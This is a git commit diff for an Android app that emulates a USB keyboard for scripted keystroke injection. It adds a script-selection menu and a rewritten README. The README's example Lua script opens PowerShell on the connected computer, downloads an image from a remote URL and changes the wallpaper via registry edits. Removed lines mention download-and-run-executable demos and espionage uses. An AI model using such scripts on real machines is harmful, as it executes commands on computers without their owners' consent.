gui: new menu for choosing scripts

- nicer menu for picking asset scripts
- file picker for custom scripts
- update readme

Author: Netdex

README.md

@@ -1,44 +1,64 @@
-# Android HID Script
+# Android USB Script
 
 **Use at your own risk. For educational purposes only.**
 
-An Android app that provides a simple Lua interface for emulating an HID device, on top of the existing `android-keyboard-gadget` patch by `pelya`. **Root access is required.**
+An Android app that provides a simple Lua interface for enumerating and interfacing
+with arbitrary composite USB devices.
 
-## Requirements
-**This app will not work on every Android device.** If your Android OS has Linux Kernel version >= 3.18 and is compiled with configfs and f_hid, then the app can try to create usb gadgets for mouse and keyboard.
+**Root access is required.**
 
-If your Android OS is compiled with the [android-keyboard-gadget kernel patch](https://github.com/pelya/android-keyboard-gadget), then the app can use the usb gadgets it provides.
+The best way to explain what this app does is with a code example. The following script
+does the following when interpreted by this app:
 
-## HID Emulation?
-```
-In computing, the USB human interface device class (USB HID class) is a part of the USB 
-specification for computer peripherals: it specifies a device class (a type of computer 
-hardware) for human interface devices such as keyboards, mice, game controllers and 
-alphanumeric display devices.
-                                                                      - Wikipedia
-```
-This app provides an easy way to script HID interactions intuitively, with feedback. In addition, it contains wrappers around the HID devices allowing developers to easily integrate HID functionality into their own apps.
+1. Configures your phone to become a USB keyboard
+2. Sends a series of key presses to the computer your phone is plugged in to, changing
+its wallpaper
+
+```lua
+-- create a USB composite device composed of a single keyboard
+usb = luausb.create({ id = 0, type = "keyboard" })
+kb = usb.dev[1]
+
+local file = "https://i.redd.it/ur1mqcbpxou51.png"
 
-On the news recently, use and abuse of the trust given to HID devices was demonstrated with the [BadUSB](https://www.wired.com/2014/07/usb-security/) attack, where USB devices were abused to utilize HID protocol to carry out nefarious actions.
+while true do
+    -- wait for the phone to be plugged into a computer
+    while not kb.test() do usb.delay(1000) end
 
-## Use Cases of Scripted HID Emulation
-- Automation of deployment solutions (ie. configuring computer BIOs settings in an automated fashion)
-- Mobile password managers that type in your credentials for you, on computers you do not trust
-- Use in computer espionage or social engineering attacks
+    usb.delay(1000)
 
-## Features
-A couple of demo applications are implemented:
-- Fuzzing of HID protocol
-- PowerShell download and run executable
-- PowerShell download and run PowerShell script
-- Serial transfer of data through output reports
-- Change wallpaper ([video demonstration](https://my.mixtape.moe/zxerjz.mp4))
+    kb.press_keys(kb.LSUPER, kb.R)  -- open the Windows run dialog
+    usb.delay(2000)                 -- wait 2 seconds
+    kb.send_string("powershell\n")  -- pop open a powershell window
+    usb.delay(2000)
 
-New demo applications can be added to `assets/scripts`. The API is pretty much self-documenting, just look at the existing demos to get a feel for how the API works.
+    -- enter a script that changes your wallpaper
+    kb.send_string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ..
+            "(new-object System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" ..
+            "Add-Type @\"\n" ..
+            "using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" ..
+            "ce W{public class S{ [DllImport(\"user32.dll\")]static extern int SystemParamet" ..
+            "ersInfo(int a,int b,string c,int d);public static void SW(string a){SystemParam" ..
+            "etersInfo(20,0,a,3);RegistryKey c=Registry.CurrentUser.OpenSubKey(\"Control Pan" ..
+            "el\\\\Desktop\",true);c.SetValue(@\"WallpaperStyle\", \"2\");c.SetValue(@\"Tile" ..
+            "Wallpaper\", \"0\");c.Close();}}}\n" ..
+            "\"@\n" ..
+            "[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" ..
+            "exit\n")
+
+    -- wait for the phone to be unplugged
+    while kb.test() do usb.delay(1000) end
+end
+```
+
+## Requirements
+**This app will not work on every Android device.** If your Android OS has Linux Kernel
+version >= 3.18 and is compiled with configfs and f_hid, then the app can try to create usb
+gadgets.
 
-For people who want to implement HID functionality in their own apps, HID interfacing code available [here (HID.java)](https://github.com/Netdex/android-hid-script/blob/master/app/src/main/java/cf/netdex/hidfuzzer/hid/HID.java), 
-and a simple ease-of-use wrapper is available [here (HIDR.java)](https://github.com/Netdex/android-hid-script/blob/master/app/src/main/java/cf/netdex/hidfuzzer/hid/HIDR.java). The documentation should be enough to understand how it works.
+New demo applications can be added to `assets/scripts`. The API is pretty much self-documenting,
+just look at the existing demos to get a feel for how the API works.
 
 ## Third-party
-- Requires ChainFire's [libsuperuser](https://github.com/Chainfire/libsuperuser) to keep a su shell open.
-- Requires LuaJ to provide Lua binding and interpret Lua scripts.
+- [libsuperuser](https://github.com/Chainfire/libsuperuser)
+- [LuaJ](http://www.luaj.org/luaj/3.0/README.html)

app/build.gradle

@@ -29,6 +29,7 @@ dependencies {
 
     implementation 'eu.chainfire:libsuperuser:1.1.0.+'
     implementation 'org.luaj:luaj-jse:3.0.1'
+    implementation 'androidx.appcompat:appcompat:1.1.0'
 }
 repositories {
     mavenCentral()

app/src/main/AndroidManifest.xml

@@ -2,18 +2,14 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="org.netdex.hidfuzzer">
 
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
 
     <application
         android:allowBackup="true"
         android:icon="@mipmap/ic_fuzzer"
         android:label="@string/app_name"
         android:supportsRtl="true"
         android:theme="@style/AppTheme">
-        <service
-            android:name=".service.LuaUsbService"
-            android:enabled="true"
-            android:exported="true" />
 
         <activity android:name=".MainActivity">
             <intent-filter>
@@ -22,6 +18,17 @@
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <activity
+            android:name=".SelectAssetActivity"
+            android:label="@string/title_activity_select_asset"
+            android:parentActivityName=".MainActivity" />
+
+        <service
+            android:name=".service.LuaUsbService"
+            android:enabled="true"
+            android:exported="true" />
+
     </application>
 
 </manifest>

app/src/main/assets/scripts/a.lua

@@ -5,25 +5,29 @@
 --- template.lua: generic template for "run after plug-in" style scripts
 ---
 
-usb = luausb.create({ id = 0, type = "keyboard" })
-kb = usb.dev[1]
+usb = luausb.create({ type = "keyboard", id = 0 }, { type = "keyboard", id = 1 })
+kb1 = usb.dev[1]
+kb2 = usb.dev[2]
 
 while true do
-    usb.log("idle")
-
-    -- poll until writable
-    while not kb.test() do
-        usb.delay(1000)
-    end
-
-    usb.log("running")
+    --usb.log("idle")
+    --
+    ---- poll until writable
+    --while not kb1.test() do
+    --    usb.delay(1000)
+    --end
+    --
+    --usb.log("running")
+    --usb.delay(1000)
+    --
+    --kb1.send_string("test")
+    --usb.delay(1000)
+    --kb2.send_string("test")
+    --
+    --usb.log("done")
+    --while kb1.test() do
+    --    usb.delay(1000)
+    --end
+    --usb.log("disconnected")
     usb.delay(1000)
-
-    kb.send_string("test")
-
-    usb.log("done")
-    while kb.test() do
-        usb.delay(1000)
-    end
-    usb.log("disconnected")
 end

app/src/main/assets/scripts/wallpaper.lua

@@ -16,7 +16,7 @@ while true do
 
     -- poll until /dev/hidg0 is writable
     while not kb.test() do
-        delay(1000)
+        usb.delay(1000)
     end
 
     usb.log("running")

app/src/main/java/org/netdex/hidfuzzer/LuaAssetAdapter.java

@@ -0,0 +1,71 @@
+package org.netdex.hidfuzzer;
+
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.recyclerview.widget.RecyclerView;
+
+import java.util.ArrayList;
+
+public class LuaAssetAdapter extends RecyclerView.Adapter<LuaAssetAdapter.ViewHolder> {
+    public static class LuaAsset {
+        private final String name_;
+        private final String path_;
+
+        public LuaAsset(String name, String path) {
+            this.name_ = name;
+            this.path_ = path;
+        }
+
+        public String getName() {
+            return name_;
+        }
+
+        public String getPath() {
+            return path_;
+        }
+    }
+
+    public static class ViewHolder extends RecyclerView.ViewHolder {
+        public TextView textView;
+        public View layout;
+
+        public ViewHolder(View view) {
+            super(view);
+            this.layout = view;
+            textView = view.findViewById(R.id.textView);
+        }
+    }
+
+    private final ArrayList<LuaAsset> assets_;
+
+    public LuaAssetAdapter(ArrayList<LuaAsset> assets) {
+        this.assets_ = assets;
+    }
+
+    @NonNull
+    @Override
+    public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
+        LayoutInflater inflater = LayoutInflater.from(parent.getContext());
+        View view = inflater.inflate(R.layout.activity_select_asset_row, parent, false);
+        return new ViewHolder(view);
+    }
+
+    @Override
+    public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
+        LuaAsset asset = assets_.get(position);
+        holder.textView.setText(asset.getName());
+        holder.layout.setOnClickListener(v -> onLuaAssetSelected(asset));
+    }
+
+    @Override
+    public int getItemCount() {
+        return assets_.size();
+    }
+
+    public void onLuaAssetSelected(LuaAsset asset) {
+    }
+}